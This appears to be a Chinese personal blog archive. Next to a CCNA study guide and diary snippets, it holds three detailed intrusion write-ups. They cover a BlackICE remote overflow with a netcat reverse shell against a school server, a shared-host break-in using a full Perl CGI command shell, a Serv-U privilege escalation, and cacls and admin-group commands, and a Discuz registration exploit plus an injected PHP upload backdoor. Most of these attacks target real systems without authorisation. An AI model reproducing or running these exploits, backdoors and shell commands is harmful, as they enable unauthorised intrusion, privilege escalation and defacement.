欢迎访问独孤九剑的网上家园!
怎样给网页添加背景音乐
在<head>与</head>加入以下代码:
<bgsound src="xiaoao .mid" loop="-1">
xiaoao .mid换成你想加入背景音乐的相对或绝对地址。
自学通过CCNA考试完全指南
自学通过CCNA考试完全指南
有没有一种花钱少,培训时间比较短,学习时间由自己把握的培训方式呢?答案仍然是肯定的,那就是自学。
通过自学,完全可以掌握所有知识,通过CCNA认证。
自学CCNA,一条很重要的经验就是选择一本好的教材。市面上CCNA教材林林种种、鱼龙混杂,既有思科自己出的英文原版教材,也有一些水货出版社跟风出的XX指南,每一本书的价格都不菲,让人望而却步。建议大家从网上下载一个电子版本的CCNA教材,本人稍做计算,即使把每一页都用打印机打下来,也比买一本书划的来。
推荐下载的电子图书有:《TROY TECHNOLOGIES USA: CCNA STUDY GUIDE 3》(以下简称《CCNA STUDY 3》)、《CCNA2.0学习指南》中文版、思科出的英文原版教材等。
CISCO的英文原版教材,写得最好,也最详细,但全是E文,英文不好的还是省省吧。《CCNA STUDY 3》也很不错,但有的地方太省略了,初学者看得时候会很不适应。《CCNA学习指南》则是全中文版,写得非常详细,重点安排的又很合理,我极力推荐大家下载这本书,做为我们自学时的主要参考书。
自学的时候,以《CCNA学习指南》、《CCNA STUDY 3》为主。《CCNA学习指南》讲的比较详细,在每一章中,有针对认证目标的详细说明、有关认证的总结信息、2分钟练习和自我测试题,可帮助读者更好地理解认证的内容;《CCNA STUDY 3》短小精悍,它所强调的地方,都是考试重点、难点;思科的原版教材为辅,它书里的试题不做也罢,没什么实际价值。
《CCNA学习指南》、《CCNA STUDY 3》都附有详细的测试题及答案,建议每天抽出3个小时看书、做题。通过做题、研究错题,把我们那些在看书的时候模模糊糊、一知半解的地方,强化、弄懂、搞通。再带着问题,去反复研究教材。CCNA的考试比较灵活,死记硬背的地方很少。千万不能指望看了一遍书,做了两道题就可以参加考试了。为了能更好的通过考试,我们还需要大量的做题。
另外要指出一点,思科认证一直被认为是比较难过的,不是因为别的,就是因为思科的路由器比较贵,动辄成千上万,非普通老百姓所能承受起的。可是考CCNA,一定要考思科路由器的操作,没有见过思科的路由器怎么参加考试?好在有人发明了路由器模拟软件,操作起来跟真的思科路由器没什么两样。下载boson Software Router EMU这个软件。这个软件最多可以把五个路由器有效的连接起来,构成一个虚拟的路由环境,为大家自学CCNA提供方便。
当看完了教材,做完了教材后面的所有测试题,那就开始检验一下我们的所学吧。去下载一个BOSON CCNA TEST3.88测试软件。BOSON CCNA TEST3.88就是一个测试题库,每章大概有240道题。推荐做BOSON CCNA TEST3.88的原因,一是因为它正确答案比较可靠,二是它和考试题比较象。在考试时遇到的大部分题,在BOSON上均有原题或近似的题目。开始时,你可能会错的比较多。没关系,这样才能发现问题么。对于做错的题目,最好能记下来,遇到不懂的题目,再去翻翻那本中文教科书,把相关的内容看一看。万一还是不懂,先背下来再说。考试的时候,遇到类似的题目就往上套。为了对得起那一千块钱的考试费,这点苦又算得了什么?
做完了BOSON CCNA TEST3.88,再从网上下载ROUTERSIM CCNA 2.0,再接着做题。通过大量做题,能让你快速熟悉CCNA的考试内容,更好的掌握CCNA重点、难点。 最后,再将以往的错题多看几遍,BOSON的题目完整的再做一遍,就可以去应考了。现在,你应该很熟悉考试试题了。题目做多了,考试时看一眼题目,虽然不知道正确答案,凭感觉也能猜出个八、九不离十,这就是题海战术的好处。况且你做的题目跟真题差别不大,如果测试能上85%,那么你就可以充满信心地走向考场。
CCNA,我来了!
我的第一次约会
昨天终于把那个女孩约了出来,心中不知怎么的,有一股难以名状的忧伤!
不知道为什么,,,,,,,,,,,,
一次意外的入侵经历---黑冰防火墙溢出攻击
1、事出有因
最近学校新上了一台文件服务器,用于校园网内教师交换教案和资料共享之用。服务器正好放在我实验室隔壁,隔着玻璃就能看到。(可惜啊!可望不可及:-( )通过我多方打探,大体了解了服务器的网络设置,关键就在于服务器有两块网卡,一块居然和我们实验室相连(一开始不了解是为什么,事后才知道为了便于实验室的管理员远程管理!)一块与学校主干网相连。知道了这些手就痒痒了,更何况负责服务器安全配置的老师说他把机器配置得很无敌了!(汗!~这么具有挑战性啊~)
2、初试身手
由于我本身就在实验室,所以当然用服务器实验室的那段ip最方便了,因此以下我说的ip都是指服务器和实验室同网段的ip。很容易获得了文件服务器的ip 为192.168.203.2,我的机器的ip为192.168.203.16。很自然地ping了一下,结果如下:
K:\mfm>ping 192.168.203.2
Pinging 192.168.203.2 with 32 bytes of data:
Reply from 192.168.203.2: bytes=32 time<10ms TTL=128
Reply from 192.168.203.2: bytes=32 time<10ms TTL=128
Reply from 192.168.203.2: bytes=32 time<10ms TTL=128
Reply from 192.168.203.2: bytes=32 time<10ms TTL=128
居然可以ping得通!(难道没装防火墙?也许那个老师自信把所有漏洞都补上了,难道不怕我DDOS它?:-))。还是谨慎点好,我用了一贯测试防火墙的方法做进一步的检测 在cmd下输入telnet 192.168.203.2 54321 大约经过了10几秒左右,出现下面的提示:
K:\mfm>telnet 192.168.203.2 54321
正在连接到192.168.203.2...无法打开到主机的连接 在端口 54321 : 连接失败
我晕,根据经验肯定是有防火墙的!其实这个判断原理是很简单,你用telnet到目标主机的任意不存在端口,如果停留时间比较长后才出现连接不上的提示,那么几乎可以肯定对方装有防火墙了(或是其它包过滤设备)。但是有点奇怪,既然是防火墙为什么要允许ping呢?。不管它了,既然有了防火墙,那么先猜一下它可能开的端口吧。既然是文件服务器,估计ftp得开吧。连一下试试,如下:
ftp: connect :连接超时
我倒。。。ftp端口也被屏蔽!不是文件服务器嘛。。不用ftp难道用……共享?!!不至于吧,这也太……现在只有两种可能,要么ftp端口被改了,这样我得进行大范围的端口扫描(关键会留下好多的扫描记录撒!~~)另一种可能就是服务器没有使用ftp来上传管理文件而是采用的共享,我选择了第二种,因为第一种不太现实。既然是用共享的话,那么139端口应该是开放的吧?
好我试一下,这里要用到一个工具hping,这个工具可以自己定制数据包,使用方法如下:
方法如下:
K:\mfm>hping
Compiled by Anarchy@hk20.com
Usage: hping [options] host
-h Show this help menu 显示帮助菜单
-v Show version number 显示软件版本号
-c Stop after count response packets. 收到多少个响应包后停止发包
-i Interval in X (seconds) or uX (micro seconds) 发包间隔时间以秒或毫秒
-M Set sequence number 设置包序列号
-a Spoof source address 伪造源IP地址
-p Destination port -p 目的端口
-s Source port 源端口
-R Set RST tcp flag 设置RST位
-S Set SYN tcp flag 设置SYN位
-A Set ACK tcp flag 设置ACK位
-F Set FIN tcp flag 设置FIN位
-P Set PSH tcp flag 设置PSH位
-U Set URG tcp flag 设置URG位
后面的中文是我加的说明,相信大家一看就知道怎么用了。说了用法,我们来看看如何操作了,在cmd下输入:hping -S -p 139 -c 3 192.168.203.2
意思向192.168.203.2的139端口发送SYN数据包(就是请求连接的包)响应3次就停止发包,结果如图一。
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="/Article/UploadPic/2005-10/2005102184955418.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
哈哈!有回应了,说明我的猜测没有错!果然是用了共享。下面该怎么办呢?暴力破解?我可没那闲工夫!怪不得那个老师如此得意啊,原来只开了个139,其它的要么关闭了,要么被防火墙给屏蔽了!这么少的入口,当然不可能了!我几乎要放弃了,但是我又很不情愿,已经分析到了这一步。。。无奈之中无意间打了如下命令:nbtstat -A 192.168.203.2
结果却让我大大的吃惊,如图二!
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="/Article/UploadPic/2005-10/2005102184956162.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
居然可以netbios查询!!我一下子来了兴致,因为我以前研究过很多防火墙,大部分防火墙把安全等级调到高级后,即使你允许139等netbios端口开放那么也是无法进行netbios查询的!wait!好象只有最近研究一款防火墙的溢出漏洞时发现这款防火墙默认是允许netbios查询的!!那就是——BlackICE SERVER PROTECTION!!其实这真是巧合,我前天刚从天天安全网down的blackice,然后在securiteam.com看到的溢出代码和漏洞分析报告,真没想到这个文件服务器……等等,我还是最好再确认一下吧!可是我该如何进一步确认呢?从网上的漏洞分析报告来看,该漏洞是由于ISS产品中的协议分析模块(iis_pam1.dll)在处理ICQ v5协议中的SRV_META_USER命令字段的时候由于未能检测该字段的长度从而引起缓冲区溢出的。Blackvice没有开什么特定的管理端口,没有非常明显的特征,所以单凭技术是非常难以判断的……那么还是另辟新径吧!
3、无所不用其极
无敌(哭丧着脸):老师,救命啊!!!
老师:啥事啊?
无敌:最近机房里老是有人在莫名奇妙的扫描我设的网关啊!我都烦死了!
老师:这还不简单?垒个墙不就行了?
无敌:我……给您说实话吧,我对这方面真是一知半解的,我知道老师您在这方面很有研究,给条明路吧!
老师:我也只是多学了点而已(我汗。。这么经不起。。)你去网上找那个黑冰(就是blackice)服务器版的装上就可以了!
无敌:啊?没听说过啊!好用吗?
老师:当然好用了,我那服务器上就装的啊!(嘎嘎!~~~我差点跳起来)
无敌:谢谢,老师您真是高手!我马上去下去!再见!
社会工程学,任何时候任何地方,与技术相结合会有意想不到的结果。既然确认了目标系统的防火墙为blackice那么我们再看一下该漏洞涉及的blackice的版本吧,如下:
ISS RealSecure Network Sensor 7.0 XPU 22.9
ISS RealSecure Network Sensor 7.0 XPU 22.11
ISS RealSecure Network Sensor 7.0 XPU 22.10
ISS RealSecure Network Sensor 7.0 XPU 20.15
ISS RealSecure Server Sensor 7.0 XPU 22.9
ISS RealSecure Server Sensor 7.0 XPU 22.11
ISS RealSecure Server Sensor 7.0 XPU 22.10
ISS RealSecure Server Sensor 7.0 XPU 20.19
ISS RealSecure Server Sensor 7.0 XPU 20.18
ISS RealSecure Server Sensor 7.0 XPU 20.16
ISS BlackIce Server Protection 3.6 ccf
ISS BlackIce Server Protection 3.6 ccb
ISS BlackIce Server Protection 3.6 cbz
ISS BlackIce Server Protection 3.5 cdf
ISS BlackICE Agent for Server 3.6 ecf
ISS BlackICE Agent for Server 3.6 ecb
ISS BlackICE Agent for Server 3.6 eca
ISS BlackICE PC Protection 3.6 ccf
ISS BlackICE PC Protection 3.6 ccd
ISS BlackICE PC Protection 3.6 ccb
ISS BlackICE PC Protection 3.6 cbz
ISS BlackICE PC Protection 3.6 cbr
ISS Proventia A Series XPU 22.9
ISS Proventia A Series XPU 22.11
ISS Proventia A Series XPU 22.10
ISS Proventia A Series XPU 20.15
ISS Proventia G Series XPU 22.9
ISS Proventia G Series XPU 22.3
ISS Proventia G Series XPU 22.11
ISS Proventia G Series XPU 22.10
ISS Proventia M Series XPU 1.9
ISS Proventia M Series XPU 1.8
ISS Proventia M Series XPU 1.7
ISS Proventia M Series XPU 1.3
看到了吧,这么多东东都受那个漏洞的影响,不怕他不中!马上找出exploit来,该exploit是linux下编写的,要想在win下我们就要用cygwin来搞定它了!先把exploit复制到cygwin的home目录里文件名为blackhit.c,然后打开cygwin我们编译。如图三。
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="/Article/UploadPic/2005-10/2005102184956729.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
OK!编译成功了,把cygwin目录下的bin目录里的cgywin1.dll和你编译好的blackhit.exe一起复制到一个目录里。准备工作做完了,我们看看手中的武器的使用方法,如下:
K:\mfm>blackhit
557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit
- Sam
compiled by 无敌最寂寞@ringz.org
blackhit
listenhost, port: connect back host and port
参数不多,blackhit 目标主机的ip 本地监听的ip 本地监听的端口。
OK!激动人心的时刻到了,再打开一个cmd,输入nc -v -l -p 518。然后另一个cmd输入blackhit 192.168.203.2 192.168.203.16 518。运行结果如图四。
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="/Article/UploadPic/2005-10/2005102184956558.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
嘎嘎!!得到shell了,看看是什么权限哦!如图五!
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="/Article/UploadPic/2005-10/2005102184957241.gif" onload="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
果然是system权限!真是说不出的心情,就这么意外的得到了权限,成功的入侵目标主机!
事情到此也就结束了,跟那个老师坦白后,我们两个都很尴尬,最后还是一起去喝了一顿酒!(不打不相识啊!^_^)
事后我又在实验室重新做了一次溢出测试,结果发现当溢出成功后,目标系统没有任何反应,但是防火墙就跟僵死在那,你也可以照常打开,设置防火墙。但是防火墙不会再记录任何入侵日志了!而且你只能重新启动机器才能恢复防火墙,我尝试停止防火墙的服务然后再启动服务,结果在启动的时候提示说“服务的实例已在运行中”说明在溢出的时候造成了服务进程blackd.exe假死的现象。所以只有重新启动才能恢复正常。
此次经历让我对防火墙产生了浓厚的兴趣,又接二连三的测试了不少防火墙的安全性,其中在测试天网防火墙的时候发现,尽管防火墙处于最高安全级别,但是利用hping一样可以绕过防火墙ping通后面的主机,具体方法就是将发送的数据包的ACK位或者FIN为置位,这样防火墙就放行了!由于此类问题不在本文的讨论范围内了,有兴趣的读者可以自行实验试一下!
4、后记
写完这篇稿子我总算可以松一口气了,关于这个漏洞我再补充几句,其实类似这样的漏洞有很多比如想wsftp等的溢出漏洞,此类漏洞是可遇不可求的,你如果非要用这个漏洞去找寻什么肉鸡的话,那么我劝你还是别大海捞针了!
同时要说明的是ISS后续推出的ccg和cch版本的blackcie已经补上了此漏洞,请使用该防火墙的朋友赶紧升级吧!
倒霉
我感觉我近来特别的倒霉,不知道为什么,我感觉我这个人也没有做过什么坏事,但是倒霉的事情都让我碰见了!
哎,这样的日子不知道什么才会过去呀!
剑走偏锋——灵巧的旁注攻击
本文作者:angel
文章性质:原创
发布日期:2004-11-09
注意:
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
没有目的的跳转目录着……
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
结束了吗?不,我试着 FTP 一下:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator>ftp www.school.com
Connected to www. school.com.
220 Welcome to FTP Server...
User (www.bjtrq.com:(none)):
331 User name okay, need password.
Password:
530 Not logged in.
Login failed.
ftp> bye
221 Goodbye!
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
Application Data
Documents
DRM
Favorites
Templates
「开始」菜单
桌面
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
ActiveState ActivePerl 5.8
Administrative Tools
Deerfield.com
DTemp
IPSentry
MBM 5
NetMeter
Network ICE
Persits Software AspEmail
Persits Software AspJpeg
Serv-U FTP Server
Symantec Client Security
Windows 优化大师
WinRAR
启动
管理工具
附件
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
User281=angel|1|0
然后加上
[USER=angel|1]
Password=ng98F85379EA68DBF97BAADCA99B69B805
HomeDir=D:\websites
RelPaths=1
TimeOut=600
Maintenance=System
Access1=D:\websites|RWAMELCDP
SKEYValues=
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV;
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
http://anyhost//cmd.pl?d:\user\bin\su.exe
返回:
Serv-u >3.x Local Exploit by xiaolu
USAGE: serv-u.exe "command"
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
返回下面的信息,就表示成功了!!!
Serv-u >3.x Local Exploit by xiaolu
<220 Serv-U FTP Server v5.2 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=2
<220 Domain settings saved
******************************************************
[+] Domain xl:2 Created
[+] Creating Evil User
<200-User=xl
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER xl
<331 User name okay, need password.
******************************************************
>PASS 111111
<230 User logged in, proceed.
******************************************************
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
<220 Domain deleted
******************************************************
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
四川成都攻防大赛技术细节与个人评论
四川成都攻防大赛技术细节与个人评论
本文作者:angel
文章性质:原创
发布日期:2004-11-5
估计大家都知道这次成都的“天地杯”网络安全攻防大赛的消息了,既然和网络安全有关,估计不少朋友都想知道其中的技术细节,我就说说其中技术细节。至于和我一起参加比赛的人,都是圈内比较出名的人物,机会、优势几乎都在我们这边了,其他我就暂时不说了。圈内也有不少人知道是我们几个参加了,所以我觉得写出来也无所谓。先说说技术的,完了再说说我个人的看法。
首先说说这次的攻击环境:
Web 服务器( 172.16.0.125 )
系统: Windows Server 2003 / Apache 1.3.31
打开端口:80、3389
Web 程序:Discuz 2.2F
MySQL 服务器( 172.16.0.119 )
系统: Windows Server 2003 / Mysql 4.0.21
打开端口: 3306、3389
注意:比赛规定是不允许上外网,所有工具都是自己带的。且刚开始数据库服务器 IP 是未知的,我们的目标是拿到数据库上 D 盘的相应文件。
尽管我们几个人讨论了几个方案和分工,但是由于实际情况,我们还是做了一些改变,我几乎是全权负责攻击,其他人负责干扰对手、嗅探、搭建各种服务共我们交流、交换工具,由于不准上外网,我们下载了 QQ 企业版交流,在其中一个人的服务器上搭建了 WEB 服务器,提供我们自己带来一些工具,于是我们为了进攻的进度得以保障,我们每个人都修改了默认管理密码,禁用其他所有系统用户,停掉 N 多默认的服务,禁止空连接,做了本地安全策略,修改了 IP 地址的 C 段使我们和其他人不在同一个网段,配置好了,也差不多开始了。
经过了安全专家的精心配置,所以我想直接从系统入手可能性还是比较小,尽管如此,还是分配了两个人用扫描器对 Web 服务器进行扫描并生成报告,另外的人嗅探抓到了不少系统的密码等敏感信息,我就不说其他人了,由于我负责全部的攻击,我还是把过程写出来。
我知道 Discuz 2.2F 有两个致命漏洞,但是官方也发布了更新版本,不知道这里存在不,不管怎么说,获得 webshell 是最基本的,不然一切都不可能,恰好 Discuz 2.2F 给我们提供了条件,访问 http://172.16.0.125/forumdata/illegallog.php ,返回“ Access Denied ”,漏洞不存在,换一个,这个 2.2F 的早期版本可以注册相同的 ID ,不过对于繁体的论坛的中文名注册会变乱码,我只测试了英文名的,不管,先写一个表单:
<FORM action="http://172.16.0.125/register.php?emailadd=and uid=100000&doublee=1" method="post" target="_blank">
用户名 :<INPUT name=username value="admin"><br>
密码:<INPUT name=password type=text value="123456"><br>
确认密码:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="
4ngel@21cn.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>
这个漏洞不是我发现的,但是我自己分析过,在我们的内部论坛有我的分析报告,现在公布出来。先说说这个漏洞的利用和存在的理由。
register.php 的代码中有如下代码:
$email = trim($email);
if(!$doublee && strstr($email, '@')) {
$emailadd = "OR email='$email'";
}
这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就指定 $emailadd 这个变量为 "OR email='$email'" ,为后面的 SQL 语句做准备。往下有一段代码如下:
$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE username='$username' $emailadd ");
if($db->result($query, 0)) {
showmessage('profile_account_duplicate');
}
默认 $emailadd = "OR email='$email'" 是满足的,所以上面的 SQL 语句就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已经被注册了,请返回重新填写。”
利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR email='$email'" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本地表单的 action 构造的原因。
<FORM action="http://172.16.0.125/register.php? emailadd=and uid=100000&doublee=1" method="post">
然后这个语句到了上面的 SQL 语句那里,就变成:
SELECT COUNT(*) FROM $table_members WHERE username='$username' and uid=100000
既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以顺利跳过
if($db->result($query, 0)) {
showmessage('profile_account_duplicate');
}
直接到达这里插入记录:
$db->query("INSERT INTO $table_members (........) VALUES (........)");
也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那里, SQL 语句居然是这样。
UPDATE $table_members SET ...... WHERE username='$discuz_user'
直接更新所有用户名为 XX 的资料。呵呵,就达到了修改管理员的密码的目的。呵呵, DZ 论坛没有用 id 来判断更新是不严谨的。没有考虑到唯一性……
我顺利提升了自己论坛用户的权限,能进入后台以后,我们可以做的事情就多了,插入记录,导出文件,就可以写文件在硬盘了,由于不知道 Web 目录路径,所以不能用 select….into outfile 导出文件,而且此时数据库与 WEB 服务器是分开的,即使导文件也是导出在 MYSQL 服务器上。不过还是有办法,我马上在“数据库升级那里”执行:
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`, `note`, `logo`)
VALUES ('', '0', '', '', '<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', '');
黑体部分是我写的后门代码,然后选择数据库备份最小备份,把扩展名改成 .php ,备份后我们就可以上传文件到 forumdata 目录了,可能有不少新手会问,我怎么这么了解?因为我以前用过 Discuz 论坛,研究过这个论坛,所以对这个论坛还是十分熟悉的,如果有谁不懂可以直接搭建环境来测试。
然后本地再写一个表单用于上传文件:
<form ENCTYPE="multipart/form-data" ACTION="http://172.16.0.125/forumdata/upfile.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
我们上传了一个 phpspy 上去,上去后,我要做的事就只有一件,就是把 register.php 文件的漏洞给补上,直接把
$email = trim($email);
if(!$doublee && strstr($email, '@')) {
$emailadd = "OR email='$email'";
}
改为:
$emailadd = "OR email='$email'";
断绝其他对手的后路,我们再多传几个 phpspy ,让我们的队员慢慢玩,查看 config.php 文件,看到了 MySQL 服务器地址( 172.16.0.119 )和 root 用户的密码,原来密码是 fuck_Mysql ,用这个密码试了试 MySQL 服务器的管理员,失败。还有 phpmyadmin 的地址,原来是 php32 目录。查看了一下 php 配置,配置还不错,挺仔细的,可惜我的 phpspy 还是可以利用 webshell 功能成功的添加了系统帐号并提升到管理员权限,成功登陆 3389 ,注意,由于 Windows Server 2003 的安全机制,不是 Administrators 组的用户是不能登陆 3389 的,查看了一些基本的配置后,看到 EffeTech HTTP Sniffer ,原来剑客一直在注意我呢,哈哈,在桌面留个文件和他打个招呼,表示一下晚辈对前辈的尊重。
